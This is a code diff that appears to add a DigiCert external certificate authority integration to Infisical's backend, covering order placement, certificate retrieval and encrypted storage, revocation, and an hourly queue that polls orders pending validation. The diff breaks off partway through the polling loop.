+    projectId: ca.projectId,
+    credentials: ca.externalCa.credentials,
+    configuration: {
+      appConnectionId: ca.externalCa.appConnectionId,
+      organizationId: config.organizationId,
+      productNameId: config.productNameId
+    },
+    status: ca.status as CaStatus
+  };
+};
+
+const getDigiCertClientCredentials = async (
+  appConnectionId: string,
+  appConnectionDAL: Pick<TAppConnectionDALFactory, "findById">,
+  kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">
+): Promise<{ apiKey: string; baseUrl: string }> => {
+  const appConnection = await appConnectionDAL.findById(appConnectionId);
+  if (!appConnection) {
+    throw new NotFoundError({ message: `DigiCert app connection with ID '${appConnectionId}' not found` });
+  }
+  if (appConnection.app !== AppConnection.DigiCert) {
+    throw new BadRequestError({ message: `App connection with ID '${appConnectionId}' is not a DigiCert connection` });
+  }
+
+  const credentials = (await decryptAppConnectionCredentials({
+    orgId: appConnection.orgId,
+    projectId: appConnection.projectId,
+    encryptedCredentials: appConnection.encryptedCredentials,
+    kmsService
+  })) as TDigiCertConnection["credentials"];
+
+  return {
+    apiKey: credentials.apiKey,
+    baseUrl: getDigiCertApiBaseUrl(credentials.region)
+  };
+};
+
+const PEM_CERTIFICATE_RE2 = new RE2("-----BEGIN CERTIFICATE-----[\\s\\S]*?-----END CERTIFICATE-----", "g");
+
+const TTL_RE2 = new RE2("^(\\d+)([dhm])$");
+const parseTtlToDays = (ttl: string): number => {
+  const match = ttl.match(TTL_RE2);
+  if (!match) {
+    throw new BadRequestError({ message: `Invalid TTL format: ${ttl}` });
+  }
+  const [, value, unit] = match;
+  const num = Number.parseInt(value, 10);
+  if (!Number.isFinite(num) || num <= 0) {
+    throw new BadRequestError({ message: `Invalid TTL value: ${ttl}` });
+  }
+  switch (unit) {
+    case "d":
+      return num;
+    case "h":
+      return Math.max(1, Math.ceil(num / 24));
+    case "m":
+      return Math.max(1, Math.ceil(num / (24 * 60)));
+    default:
+      throw new BadRequestError({ message: `Invalid TTL unit: ${unit}` });
+  }
+};
+
+const extractIssuedCertificateFields = (certObj: x509.X509Certificate) => {
+  const subject = parseDistinguishedName(certObj.subject);
+  const commonName = subject.commonName ?? "";
+
+  const sanExt = certObj.getExtension("2.5.29.17");
+  const altNames: string[] = [];
+  if (sanExt) {
+    const sanNames = new x509.GeneralNames(sanExt.value);
+    for (const item of sanNames.items) {
+      if (
+        item.type === TAltNameType.DNS ||
+        item.type === TAltNameType.IP ||
+        item.type === TAltNameType.EMAIL ||
+        item.type === TAltNameType.URL
+      ) {
+        altNames.push(item.value);
+      }
+    }
+  }
+
+  const keyUsages: CertKeyUsage[] = [];
+  const keyUsagesExt = certObj.getExtension(x509.KeyUsagesExtension);
+  if (keyUsagesExt) {
+    for (const keyUsage of Object.values(CertKeyUsage)) {
+      // eslint-disable-next-line no-bitwise
+      if ((x509.KeyUsageFlags[keyUsage] & keyUsagesExt.usages) !== 0) {
+        keyUsages.push(keyUsage);
+      }
+    }
+  }
+
+  const extendedKeyUsages: CertExtendedKeyUsage[] = [];
+  const ekuExt = certObj.getExtension(x509.ExtendedKeyUsageExtension);
+  if (ekuExt) {
+    for (const oid of ekuExt.usages) {
+      const mapped = CertExtendedKeyUsageOIDToName[oid as string];
+      if (mapped) extendedKeyUsages.push(mapped);
+    }
+  }
+
+  return { commonName, altNames, keyUsages, extendedKeyUsages };
+};
+
+const extractLeafAndChain = (pemBundle: string): { leaf: string; chain: string } => {
+  const matches = pemBundle.match(PEM_CERTIFICATE_RE2);
+  if (!matches || matches.length === 0) {
+    throw new BadRequestError({ message: "DigiCert returned an empty certificate bundle" });
+  }
+
+  if (matches.length < 2) {
+    throw new BadRequestError({
+      message: `DigiCert returned an incomplete certificate bundle (${matches.length} entry, expected leaf + chain)`
+    });
+  }
+
+  let leafIndex = -1;
+  matches.forEach((pem, index) => {
+    if (leafIndex !== -1) return;
+    try {
+      const cert = new x509.X509Certificate(pem);
+      const basicConstraints = cert.getExtension(x509.BasicConstraintsExtension);
+      if (!basicConstraints?.ca) leafIndex = index;
+    } catch {
+      // skip unparseable entries
+    }
+  });
+
+  if (leafIndex === -1) leafIndex = 0;
+
+  const leaf = matches[leafIndex].trim();
+  const chain = matches
+    .filter((_, index) => index !== leafIndex)
+    .map((cert) => cert.trim())
+    .join("\n");
+  return { leaf, chain };
+};
+
+export const DigiCertCertificateAuthorityFns = ({
+  appConnectionDAL,
+  appConnectionService,
+  certificateAuthorityDAL,
+  externalCertificateAuthorityDAL,
+  certificateDAL,
+  certificateBodyDAL,
+  certificateSecretDAL,
+  kmsService,
+  projectDAL
+}: TDigiCertCertificateAuthorityFnsDeps) => {
+  const createCertificateAuthority = async ({
+    name,
+    projectId,
+    configuration,
+    actor,
+    status
+  }: {
+    status: CaStatus;
+    name: string;
+    projectId: string;
+    configuration: TCreateDigiCertCertificateAuthorityDTO["configuration"];
+    actor: OrgServiceActor;
+  }) => {
+    const { appConnectionId, organizationId, productNameId } = configuration;
+
+    const appConnection = await appConnectionDAL.findById(appConnectionId);
+    if (!appConnection) {
+      throw new NotFoundError({ message: `DigiCert app connection with ID '${appConnectionId}' not found` });
+    }
+    if (appConnection.app !== AppConnection.DigiCert) {
+      throw new BadRequestError({
+        message: `App connection with ID '${appConnectionId}' is not a DigiCert connection`
+      });
+    }
+
+    await appConnectionService.validateAppConnectionUsageById(
+      appConnection.app as AppConnection,
+      { connectionId: appConnectionId, projectId },
+      actor
+    );
+
+    const caEntity = await certificateAuthorityDAL.transaction(async (tx) => {
+      try {
+        const ca = await certificateAuthorityDAL.create(
+          {
+            projectId,
+            enableDirectIssuance: false,
+            name,
+            status
+          },
+          tx
+        );
+
+        await externalCertificateAuthorityDAL.create(
+          {
+            caId: ca.id,
+            appConnectionId,
+            type: CaType.DIGICERT,
+            configuration: {
+              organizationId,
+              productNameId
+            }
+          },
+          tx
+        );
+
+        return await certificateAuthorityDAL.findByIdWithAssociatedCa(ca.id, tx);
+      } catch (error) {
+        // 23505 = unique_violation — same CA name in the same project
+        // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access, @typescript-eslint/no-explicit-any
+        if ((error as any)?.error?.code === "23505") {
+          throw new BadRequestError({
+            message: "Certificate authority with the same name already exists in your project"
+          });
+        }
+        throw error;
+      }
+    });
+
+    if (!caEntity.externalCa?.id) {
+      throw new BadRequestError({ message: "Failed to create external certificate authority" });
+    }
+
+    return castDbEntryToDigiCertCertificateAuthority(caEntity);
+  };
+
+  const updateCertificateAuthority = async ({
+    id,
+    status,
+    configuration,
+    actor,
+    name
+  }: {
+    id: string;
+    status?: CaStatus;
+    configuration?: TUpdateDigiCertCertificateAuthorityDTO["configuration"];
+    actor: OrgServiceActor;
+    name?: string;
+  }) => {
+    const updatedCa = await certificateAuthorityDAL.transaction(async (tx) => {
+      if (configuration) {
+        const { appConnectionId, organizationId, productNameId } = configuration;
+        const appConnection = await appConnectionDAL.findById(appConnectionId);
+        if (!appConnection) {
+          throw new NotFoundError({ message: `DigiCert app connection with ID '${appConnectionId}' not found` });
+        }
+        if (appConnection.app !== AppConnection.DigiCert) {
+          throw new BadRequestError({
+            message: `App connection with ID '${appConnectionId}' is not a DigiCert connection`
+          });
+        }
+
+        const ca = await certificateAuthorityDAL.findById(id);
+        if (!ca) {
+          throw new NotFoundError({ message: `Could not find Certificate Authority with ID "${id}"` });
+        }
+
+        await appConnectionService.validateAppConnectionUsageById(
+          appConnection.app as AppConnection,
+          { connectionId: appConnectionId, projectId: ca.projectId },
+          actor
+        );
+
+        await externalCertificateAuthorityDAL.update(
+          {
+            caId: id,
+            type: CaType.DIGICERT
+          },
+          {
+            appConnectionId,
+            configuration: {
+              organizationId,
+              productNameId
+            }
+          },
+          tx
+        );
+      }
+
+      if (name || status) {
+        await certificateAuthorityDAL.updateById(id, { name, status }, tx);
+      }
+
+      return certificateAuthorityDAL.findByIdWithAssociatedCa(id, tx);
+    });
+
+    if (!updatedCa.externalCa?.id) {
+      throw new BadRequestError({ message: "Failed to update external certificate authority" });
+    }
+
+    return castDbEntryToDigiCertCertificateAuthority(updatedCa);
+  };
+
+  const listCertificateAuthorities = async ({
+    projectId,
+    permissionFilters
+  }: {
+    projectId: string;
+    permissionFilters?: ProcessedPermissionRules;
+  }) => {
+    const cas = await certificateAuthorityDAL.findWithAssociatedCa(
+      {
+        [`${TableName.CertificateAuthority}.projectId` as "projectId"]: projectId,
+        [`${TableName.ExternalCertificateAuthority}.type` as "type"]: CaType.DIGICERT
+      },
+      {},
+      permissionFilters
+    );
+
+    return cas.map(castDbEntryToDigiCertCertificateAuthority);
+  };
+
+  const orderCertificateFromProfile = async ({
+    caId,
+    commonName,
+    altNames = [],
+    signatureAlgorithm,
+    keyAlgorithm = CertKeyAlgorithm.RSA_2048,
+    csr,
+    ttl,
+    renewalOfOrderId
+  }: {
+    caId: string;
+    commonName: string;
+    altNames?: string[];
+    signatureAlgorithm?: string;
+    keyAlgorithm?: CertKeyAlgorithm;
+    csr?: string;
+    ttl: string;
+    renewalOfOrderId?: number;
+  }): Promise<{
+    metadata: TDigiCertCertificateRequestMetadata;
+    privateKey: string;
+    immediateCertificateId?: number;
+    orderId: number;
+  }> => {
+    const ca = await certificateAuthorityDAL.findByIdWithAssociatedCa(caId);
+    if (!ca.externalCa || ca.externalCa.type !== CaType.DIGICERT) {
+      throw new BadRequestError({ message: "CA is not a DigiCert certificate authority" });
+    }
+
+    const digicertCa = castDbEntryToDigiCertCertificateAuthority(ca);
+    if (digicertCa.status !== CaStatus.ACTIVE) {
+      throw new BadRequestError({ message: `DigiCert CA is disabled [caId=${caId}]` });
+    }
+
+    const { productNameId } = digicertCa.configuration;
+
+    const effectiveCommonName = commonName?.trim() || altNames.find((value) => value.trim().length > 0)?.trim() || "";
+    if (!effectiveCommonName) {
+      throw new BadRequestError({
+        message: `DigiCert requires a common name or at least one DNS SAN [caId=${caId}]`
+      });
+    }
+
+    let csrPem = csr?.trim();
+    let privateKeyPem = "";
+
+    if (!csrPem) {
+      const alg = keyAlgorithmToAlgCfg(keyAlgorithm);
+      const leafKeys = await crypto.nativeCrypto.subtle.generateKey(alg, true, ["sign", "verify"]);
+      const skLeafObj = crypto.nativeCrypto.KeyObject.from(leafKeys.privateKey);
+      privateKeyPem = skLeafObj.export({ format: "pem", type: "pkcs8" }) as string;
+
+      const csrObj = await x509.Pkcs10CertificateRequestGenerator.create({
+        name: `CN=${effectiveCommonName}`,
+        keys: leafKeys,
+        signingAlgorithm: alg,
+        ...(altNames.length > 0 && {
+          extensions: [
+            new x509.SubjectAlternativeNameExtension(
+              altNames.map((value) => ({ type: "dns" as TAltNameType, value })),
+              false
+            )
+          ]
+        })
+      });
+      csrPem = csrObj.toString("pem");
+    }
+
+    const { apiKey, baseUrl } = await getDigiCertClientCredentials(
+      digicertCa.configuration.appConnectionId,
+      appConnectionDAL,
+      kmsService
+    );
+    const client = createDigiCertApiClient(apiKey, baseUrl);
+
+    const extraSans = altNames.filter((value) => value.toLowerCase() !== effectiveCommonName.toLowerCase());
+
+    const normalizedSignature = signatureAlgorithm?.toLowerCase() ?? "";
+    let signatureHash: "sha256" | "sha384" | "sha512" = "sha256";
+    if (normalizedSignature.includes("sha512")) signatureHash = "sha512";
+    else if (normalizedSignature.includes("sha384")) signatureHash = "sha384";
+
+    const validityDays = parseTtlToDays(ttl);
+
+    const baseOrderPayload = {
+      certificate: {
+        common_name: effectiveCommonName,
+        ...(extraSans.length > 0 ? { dns_names: extraSans } : {}),
+        csr: csrPem,
+        signature_hash: signatureHash
+      },
+      organization: { id: digicertCa.configuration.organizationId },
+      order_validity: { days: validityDays },
+      dcv_method: "dns-txt-token" as const,
+      skip_approval: true
+    };
+
+    const renewalIneligibleCodes = [
+      "order_not_eligible_for_renewal",
+      "order_not_renewable",
+      "renewal_window_closed",
+      "cannot_renew_expired_order",
+      "product_not_eligible_for_renewal"
+    ];
+    let orderResponse: Awaited<ReturnType<typeof client.placeOrder>>;
+    try {
+      orderResponse = await client.placeOrder(productNameId, {
+        ...baseOrderPayload,
+        ...(renewalOfOrderId ? { renewal_of_order_id: renewalOfOrderId } : {})
+      });
+    } catch (err) {
+      const message = (err as Error)?.message ?? "";
+      const isRenewalIneligible =
+        renewalOfOrderId !== undefined && renewalIneligibleCodes.some((code) => message.includes(code));
+      if (isRenewalIneligible) {
+        logger.warn(
+          `DigiCert rejected renewal linkage (renewal_of_order_id=${renewalOfOrderId}) as not eligible; retrying as a fresh order [caId=${caId}]`
+        );
+        orderResponse = await client.placeOrder(productNameId, baseOrderPayload);
+      } else {
+        throw err;
+      }
+    }
+
+    return {
+      metadata: {
+        digicert: {
+          orderId: orderResponse.id,
+          certificateId: orderResponse.certificate_id,
+          productNameId,
+          organizationId: digicertCa.configuration.organizationId,
+          orderPlacedAt: new Date().toISOString()
+        }
+      },
+      privateKey: privateKeyPem,
+      immediateCertificateId: orderResponse.certificate_id,
+      orderId: orderResponse.id
+    };
+  };
+
+  const fetchAndAttachIssuedCertificate = async ({
+    caId,
+    certificateRequest,
+    digicertCertificateId,
+    digicertOrderId,
+    encryptedPrivateKey,
+    isRenewal,
+    originalCertificateId
+  }: {
+    caId: string;
+    certificateRequest: {
+      id: string;
+      profileId?: string | null;
+      commonName?: string | null;
+      altNames?: string | null;
+      keyUsages?: string[] | null;
+      extendedKeyUsages?: string[] | null;
+      keyAlgorithm?: string | null;
+      signatureAlgorithm?: string | null;
+    };
+    digicertCertificateId: number;
+    digicertOrderId: number;
+    encryptedPrivateKey?: Buffer;
+    isRenewal?: boolean;
+    originalCertificateId?: string;
+  }): Promise<{ certificateId: string; certificatePem: string }> => {
+    const ca = await certificateAuthorityDAL.findByIdWithAssociatedCa(caId);
+    if (!ca.externalCa || ca.externalCa.type !== CaType.DIGICERT) {
+      throw new BadRequestError({ message: "CA is not a DigiCert certificate authority" });
+    }
+    const digicertCa = castDbEntryToDigiCertCertificateAuthority(ca);
+
+    const { apiKey, baseUrl } = await getDigiCertClientCredentials(
+      digicertCa.configuration.appConnectionId,
+      appConnectionDAL,
+      kmsService
+    );
+    const client = createDigiCertApiClient(apiKey, baseUrl);
+
+    const pemBundle = await client.downloadCertificatePem(digicertCertificateId);
+    const { leaf, chain } = extractLeafAndChain(pemBundle);
+
+    const certObj = new x509.X509Certificate(leaf);
+    const issued = extractIssuedCertificateFields(certObj);
+
+    const certificateManagerKmsId = await getProjectKmsCertificateKeyId({
+      projectId: ca.projectId,
+      projectDAL,
+      kmsService
+    });
+    const kmsEncryptor = await kmsService.encryptWithKmsKey({ kmsId: certificateManagerKmsId });
+
+    const { cipherTextBlob: encryptedCertificate } = await kmsEncryptor({
+      plainText: Buffer.from(new Uint8Array(certObj.rawData))
+    });
+    const { cipherTextBlob: encryptedCertificateChain } = await kmsEncryptor({
+      plainText: Buffer.from(chain)
+    });
+
+    const createdCertificateId = await certificateDAL.transaction(async (tx) => {
+      const cert = await certificateDAL.create(
+        {
+          caId: ca.id,
+          profileId: certificateRequest.profileId ?? undefined,
+          status: CertStatus.ACTIVE,
+          friendlyName: issued.commonName || "",
+          commonName: issued.commonName || "",
+          altNames: issued.altNames.length > 0 ? issued.altNames.join(",") : "",
+          serialNumber: certObj.serialNumber,
+          notBefore: certObj.notBefore,
+          notAfter: certObj.notAfter,
+          keyUsages: issued.keyUsages,
+          extendedKeyUsages: issued.extendedKeyUsages,
+          keyAlgorithm: certificateRequest.keyAlgorithm ?? undefined,
+          signatureAlgorithm: certificateRequest.signatureAlgorithm ?? undefined,
+          projectId: ca.projectId,
+          externalMetadata: {
+            type: CaType.DIGICERT,
+            orderId: digicertOrderId
+          } satisfies TDigiCertExternalMetadata,
+          renewedFromCertificateId: isRenewal && originalCertificateId ? originalCertificateId : null
+        },
+        tx
+      );
+
+      if (isRenewal && originalCertificateId) {
+        await certificateDAL.updateById(originalCertificateId, { renewedByCertificateId: cert.id }, tx);
+      }
+
+      await certificateBodyDAL.create(
+        {
+          certId: cert.id,
+          encryptedCertificate,
+          encryptedCertificateChain
+        },
+        tx
+      );
+
+      if (encryptedPrivateKey) {
+        await certificateSecretDAL.create(
+          {
+            certId: cert.id,
+            encryptedPrivateKey
+          },
+          tx
+        );
+      }
+
+      return cert.id;
+    });
+
+    return { certificateId: createdCertificateId, certificatePem: leaf };
+  };
+
+  const revokeCertificate = async ({
+    caId,
+    serialNumber,
+    reason
+  }: {
+    caId: string;
+    serialNumber: string;
+    reason: CrlReason;
+  }) => {
+    const ca = await certificateAuthorityDAL.findByIdWithAssociatedCa(caId);
+    if (!ca.externalCa || ca.externalCa.type !== CaType.DIGICERT) {
+      throw new BadRequestError({ message: `CA is not a DigiCert certificate authority [caId=${caId}]` });
+    }
+
+    const cert = await certificateDAL.findOne({ caId, serialNumber });
+    if (!cert) {
+      throw new NotFoundError({
+        message: `Certificate not found for revocation [caId=${caId}] [serialNumber=${serialNumber}]`
+      });
+    }
+    const parsedMetadata = DigiCertExternalMetadataSchema.safeParse(cert.externalMetadata);
+    if (!parsedMetadata.success) {
+      throw new BadRequestError({
+        message: `Certificate has no DigiCert order reference in externalMetadata — cannot revoke on DigiCert [certificateId=${cert.id}]`
+      });
+    }
+    const { orderId } = parsedMetadata.data;
+
+    const digicertCa = castDbEntryToDigiCertCertificateAuthority(ca);
+    const { apiKey, baseUrl } = await getDigiCertClientCredentials(
+      digicertCa.configuration.appConnectionId,
+      appConnectionDAL,
+      kmsService
+    );
+    const client = createDigiCertApiClient(apiKey, baseUrl);
+
+    try {
+      await client.revokeOrder(orderId, `Revoked via Infisical — reason: ${reason}`);
+    } catch (err) {
+      const message = (err as Error)?.message ?? "";
+      if (message.includes("order_already_revoked") || message.includes("order_is_revoked")) {
+        logger.info(
+          `DigiCert order already revoked upstream — treating as success [caId=${caId}] [certificateId=${cert.id}] [orderId=${orderId}]`
+        );
+      } else {
+        throw err;
+      }
+    }
+
+    logger.info(
+      `DigiCert order revocation submitted [caId=${caId}] [certificateId=${cert.id}] [orderId=${orderId}] [reason=${reason}]`
+    );
+  };
+
+  return {
+    createCertificateAuthority,
+    updateCertificateAuthority,
+    listCertificateAuthorities,
+    orderCertificateFromProfile,
+    fetchAndAttachIssuedCertificate,
+    revokeCertificate
+  };
+};
+
+export type TDigiCertCertificateAuthorityFns = ReturnType<typeof DigiCertCertificateAuthorityFns>;
diff --git a/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-processor.ts b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-processor.ts
new file mode 100644
index 00000000000..737be4e9138
--- /dev/null
+++ b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-processor.ts
@@ -0,0 +1,217 @@
+import { TCertificateRequests } from "@app/db/schemas";
+import { logger } from "@app/lib/logger";
+import { TAppConnectionDALFactory } from "@app/services/app-connection/app-connection-dal";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import { decryptAppConnectionCredentials } from "@app/services/app-connection/app-connection-fns";
+import { getDigiCertApiBaseUrl } from "@app/services/app-connection/digicert/digicert-connection-fns";
+import { TDigiCertConnection } from "@app/services/app-connection/digicert/digicert-connection-types";
+import { TKmsServiceFactory } from "@app/services/kms/kms-service";
+
+import { CertificateRequestStatus } from "../../certificate-common/certificate-constants";
+import { TCertificateRequestDALFactory } from "../../certificate-request/certificate-request-dal";
+import {
+  TAttachCertificateToRequestDTO,
+  TUpdateCertificateRequestStatusDTO
+} from "../../certificate-request/certificate-request-types";
+import { TResourceMetadataDALFactory } from "../../resource-metadata/resource-metadata-dal";
+import { copyMetadataFromRequestToCertificate } from "../../resource-metadata/resource-metadata-fns";
+import { TCertificateAuthorityDALFactory } from "../certificate-authority-dal";
+import { createDigiCertApiClient, TDigiCertApiClient } from "./digicert-api-client";
+import {
+  DIGICERT_FINAL_ISSUED_STATUSES,
+  DigiCertOrderStatus,
+  DigiCertProcessorOutcome
+} from "./digicert-certificate-authority-enums";
+import {
+  castDbEntryToDigiCertCertificateAuthority,
+  TDigiCertCertificateAuthorityFns
+} from "./digicert-certificate-authority-fns";
+import { DigiCertCertificateRequestMetadataSchema } from "./digicert-certificate-authority-schemas";
+
+export type TDigiCertCertificateRequestServiceDep = {
+  updateCertificateRequestStatus: (args: TUpdateCertificateRequestStatusDTO) => Promise<unknown>;
+  attachCertificateToRequest: (args: TAttachCertificateToRequestDTO) => Promise<unknown>;
+};
+
+export const DIGICERT_VALIDATION_TIMEOUT_MS = 24 * 60 * 60 * 1000;
+
+export type TDigiCertOrderMetadata = {
+  digicert: {
+    orderId: number;
+    certificateId?: number;
+    productNameId: string;
+    organizationId: number;
+    orderPlacedAt: string;
+    lastCheckedAt?: string;
+    lastCheckStatus?: string;
+    isRenewal?: boolean;
+    originalCertificateId?: string;
+  };
+};
+
+export type TProcessDigiCertRequestDeps = {
+  certificateAuthorityDAL: Pick<TCertificateAuthorityDALFactory, "findByIdWithAssociatedCa">;
+  appConnectionDAL: Pick<TAppConnectionDALFactory, "findById">;
+  kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
+  certificateRequestDAL: Pick<TCertificateRequestDALFactory, "updateById">;
+  certificateRequestService: TDigiCertCertificateRequestServiceDep;
+  resourceMetadataDAL: Pick<TResourceMetadataDALFactory, "find" | "insertMany">;
+  digicertFns: Pick<TDigiCertCertificateAuthorityFns, "fetchAndAttachIssuedCertificate">;
+};
+
+export type TProcessDigiCertRequestResult =
+  | { status: CertificateRequestStatus.ISSUED; certificateId: string; orderStatus: string }
+  | { status: CertificateRequestStatus.FAILED; orderStatus: string; reason: string }
+  | { status: CertificateRequestStatus.PENDING_VALIDATION; orderStatus: string }
+  | { status: DigiCertProcessorOutcome.Skipped; reason: string };
+
+const getOrCreateClient = async (
+  request: TCertificateRequests,
+  deps: Pick<TProcessDigiCertRequestDeps, "certificateAuthorityDAL" | "appConnectionDAL" | "kmsService">,
+  clientCache?: Map<string, TDigiCertApiClient>
+): Promise<TDigiCertApiClient> => {
+  if (!request.caId) {
+    throw new Error(`certificate request is missing caId [certificateRequestId=${request.id}]`);
+  }
+  const cached = clientCache?.get(request.caId);
+  if (cached) return cached;
+
+  const ca = await deps.certificateAuthorityDAL.findByIdWithAssociatedCa(request.caId);
+  const digicertCa = castDbEntryToDigiCertCertificateAuthority(ca);
+  const appConnection = await deps.appConnectionDAL.findById(digicertCa.configuration.appConnectionId);
+  if (!appConnection || appConnection.app !== AppConnection.DigiCert) {
+    throw new Error(
+      `DigiCert app connection missing or invalid [certificateRequestId=${request.id}] [caId=${request.caId}]`
+    );
+  }
+  const credentials = (await decryptAppConnectionCredentials({
+    orgId: appConnection.orgId,
+    projectId: appConnection.projectId,
+    encryptedCredentials: appConnection.encryptedCredentials,
+    kmsService: deps.kmsService
+  })) as TDigiCertConnection["credentials"];
+
+  const client = createDigiCertApiClient(credentials.apiKey, getDigiCertApiBaseUrl(credentials.region));
+  clientCache?.set(request.caId, client);
+  return client;
+};
+
+export const processDigiCertPendingValidationRequest = async (
+  deps: TProcessDigiCertRequestDeps,
+  request: TCertificateRequests,
+  clientCache?: Map<string, TDigiCertApiClient>
+): Promise<TProcessDigiCertRequestResult> => {
+  if (!request.caId || !request.metadata) {
+    return { status: DigiCertProcessorOutcome.Skipped, reason: "missing caId or metadata" };
+  }
+
+  let rawMetadata: unknown;
+  try {
+    rawMetadata = JSON.parse(request.metadata);
+  } catch {
+    logger.warn(`DigiCert request metadata could not be parsed [certificateRequestId=${request.id}]`);
+    return { status: DigiCertProcessorOutcome.Skipped, reason: "unparseable metadata" };
+  }
+
+  const parseResult = DigiCertCertificateRequestMetadataSchema.safeParse(rawMetadata);
+  if (!parseResult.success) {
+    logger.warn(
+      { err: parseResult.error },
+      `DigiCert request metadata failed schema validation [certificateRequestId=${request.id}]`
+    );
+    return { status: DigiCertProcessorOutcome.Skipped, reason: "metadata did not match schema" };
+  }
+  const parsed = parseResult.data as TDigiCertOrderMetadata;
+
+  const age = Date.now() - new Date(parsed.digicert.orderPlacedAt).getTime();
+  if (age >= DIGICERT_VALIDATION_TIMEOUT_MS) {
+    await deps.certificateRequestService.updateCertificateRequestStatus({
+      certificateRequestId: request.id,
+      status: CertificateRequestStatus.FAILED,
+      errorMessage: "Validation timed out after 24h"
+    });
+    logger.info(`DigiCert validation timed out [certificateRequestId=${request.id}]`);
+    return { status: CertificateRequestStatus.FAILED, orderStatus: "timeout", reason: "timeout" };
+  }
+
+  const client = await getOrCreateClient(request, deps, clientCache);
+
+  const orderInfo = await client.getOrder(parsed.digicert.orderId);
+  let orderStatus = orderInfo.status?.toLowerCase() ?? "unknown";
+  let newCertificateId = orderInfo.certificate?.id ?? parsed.digicert.certificateId;
+  let lastCheckStatus: string | undefined;
+
+  if (orderStatus === DigiCertOrderStatus.Pending) {
+    const checkResult = await client.checkValidation(parsed.digicert.orderId);
+    orderStatus = checkResult.order_status?.toLowerCase() ?? orderStatus;
+    newCertificateId = checkResult.certificate_id ?? newCertificateId;
+    lastCheckStatus = checkResult.dcv_status ?? orderStatus;
+  }
+
+  const isFinalisable = DIGICERT_FINAL_ISSUED_STATUSES.some((status) => status === orderStatus);
+  if (isFinalisable && newCertificateId) {
+    const { certificateId } = await deps.digicertFns.fetchAndAttachIssuedCertificate({
+      caId: request.caId,
+      certificateRequest: {
+        id: request.id,
+        profileId: request.profileId,
+        commonName: request.commonName,
+        altNames: (request.altNames as string | null) ?? null,
+        keyUsages: request.keyUsages,
+        extendedKeyUsages: request.extendedKeyUsages,
+        keyAlgorithm: request.keyAlgorithm,
+        signatureAlgorithm: request.signatureAlgorithm
+      },
+      digicertCertificateId: newCertificateId,
+      digicertOrderId: parsed.digicert.orderId,
+      encryptedPrivateKey: request.encryptedPrivateKey ?? undefined,
+      isRenewal: parsed.digicert.isRenewal,
+      originalCertificateId: parsed.digicert.originalCertificateId
+    });
+
+    await deps.certificateRequestService.attachCertificateToRequest({
+      certificateRequestId: request.id,
+      certificateId
+    });
+    await copyMetadataFromRequestToCertificate(deps.resourceMetadataDAL, {
+      certificateRequestId: request.id,
+      certificateId
+    });
+    logger.info(
+      `DigiCert order issued, attached certificate [certificateRequestId=${request.id}] [certificateId=${certificateId}]`
+    );
+    return { status: CertificateRequestStatus.ISSUED, certificateId, orderStatus };
+  }
+
+  if (
+    orderStatus === DigiCertOrderStatus.Rejected ||
+    orderStatus === DigiCertOrderStatus.Canceled ||
+    orderStatus === DigiCertOrderStatus.Expired ||
+    orderStatus === DigiCertOrderStatus.Revoked
+  ) {
+    await deps.certificateRequestService.updateCertificateRequestStatus({
+      certificateRequestId: request.id,
+      status: CertificateRequestStatus.FAILED,
+      errorMessage: `DigiCert order ${orderStatus}`
+    });
+    logger.info(`DigiCert order terminal state [certificateRequestId=${request.id}] [status=${orderStatus}]`);
+    return {
+      status: CertificateRequestStatus.FAILED,
+      orderStatus,
+      reason: `DigiCert order ${orderStatus}`
+    };
+  }
+
+  await deps.certificateRequestDAL.updateById(request.id, {
+    metadata: JSON.stringify({
+      ...parsed,
+      digicert: {
+        ...parsed.digicert,
+        lastCheckedAt: new Date().toISOString(),
+        lastCheckStatus: lastCheckStatus ?? orderStatus
+      }
+    })
+  });
+
+  return { status: CertificateRequestStatus.PENDING_VALIDATION, orderStatus };
+};
diff --git a/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-queue.ts b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-queue.ts
new file mode 100644
index 00000000000..5dc38586983
--- /dev/null
+++ b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-queue.ts
@@ -0,0 +1,99 @@
+/* eslint-disable no-await-in-loop */
+import { getConfig } from "@app/lib/config/env";
+import { logger } from "@app/lib/logger";
+import { JOB_SCHEDULER_PREFIX, QueueJobs, QueueName, TQueueServiceFactory } from "@app/queue";
+
+import { CertificateRequestStatus } from "../../certificate-common/certificate-constants";
+import { TCertificateRequestDALFactory } from "../../certificate-request/certificate-request-dal";
+import { CaType } from "../certificate-authority-enums";
+import { TDigiCertApiClient } from "./digicert-api-client";
+import {
+  processDigiCertPendingValidationRequest,
+  TProcessDigiCertRequestDeps
+} from "./digicert-certificate-authority-processor";
+
+const DIGICERT_POLL_CRON_SCHEDULE = "0 * * * *";
+const QUEUE_BATCH_SIZE = 50;
+
+type TDigiCertCertificateAuthorityQueueServiceFactoryDep = Omit<
+  TProcessDigiCertRequestDeps,
+  "certificateRequestDAL"
+> & {
+  queueService: TQueueServiceFactory;
+  certificateRequestDAL: Pick<TCertificateRequestDALFactory, "updateById" | "findPendingValidationByCaType">;
+};
+
+export type TDigiCertCertificateAuthorityQueueServiceFactory = ReturnType<
+  typeof digicertCertificateAuthorityQueueServiceFactory
+>;
+
+export const digicertCertificateAuthorityQueueServiceFactory = ({
+  queueService,
+  ...processorDeps
+}: TDigiCertCertificateAuthorityQueueServiceFactoryDep) => {
+  const appCfg = getConfig();
+
+  const init = async () => {
+    if (appCfg.isSecondaryInstance) {
+      return;
+    }
+
+    queueService.start(QueueName.DigiCertOrderPolling, async () => {
+      try {
+        logger.info(`${QueueJobs.DigiCertOrderPolling}: queue task started`);
+
+        const clientsByCaId = new Map<string, TDigiCertApiClient>();
+        let processed = 0;
+        let issued = 0;
+        let failed = 0;
+
+        let cursor: Date | undefined;
+        let hasMore = true;
+        while (hasMore) {
+          const requests = await processorDeps.certificateRequestDAL.findPendingValidationByCaType(CaType.DIGICERT, {
+            limit: QUEUE_BATCH_SIZE,
+            afterCreatedAt: cursor
+          });
+
+          if (requests.length === 0) break;
+
+          for (const request of requests) {
+            processed += 1;
+            try {
+              const result = await processDigiCertPendingValidationRequest(processorDeps, request, clientsByCaId);
+              if (result.status === CertificateRequestStatus.ISSUED) issued += 1;
